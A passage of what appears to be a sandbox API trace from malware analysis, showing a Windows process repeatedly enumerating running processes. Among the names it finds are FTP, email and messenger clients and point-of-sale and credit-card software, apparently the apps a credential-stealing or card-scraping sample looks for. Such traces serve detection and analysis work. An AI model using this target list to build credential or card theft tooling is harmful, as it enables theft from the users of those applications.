th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0244.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0244.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0244.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0244.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0244.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0244.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0244.456] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0244.457] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0244.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0244.460] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0244.462] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0244.463] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0244.465] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0244.467] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0244.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0244.470] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0244.519] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0244.521] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0244.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0244.525] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0244.527] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0244.529] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0244.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0244.532] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0244.534] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0244.536] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0244.538] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0244.539] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0244.541] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0244.543] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0244.545] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0244.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0244.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0244.550] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0244.551] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0244.553] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0244.555] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0244.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0244.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0244.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0244.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0244.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0244.565] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0244.615] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0244.617] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0244.619] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0244.620] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0244.622] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0244.623] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0244.625] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0244.626] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0244.630] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0244.631] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0244.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0244.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.636] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.638] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0244.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0244.641] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0244.642] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0244.643] CloseHandle (hObject=0x13b0) returned 1 [0244.644] Sleep (dwMilliseconds=0x64) [0244.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0244.703] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.705] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.754] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.756] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.759] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.761] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.763] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.765] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.766] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.768] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.771] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.773] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.774] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.778] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.780] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.783] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 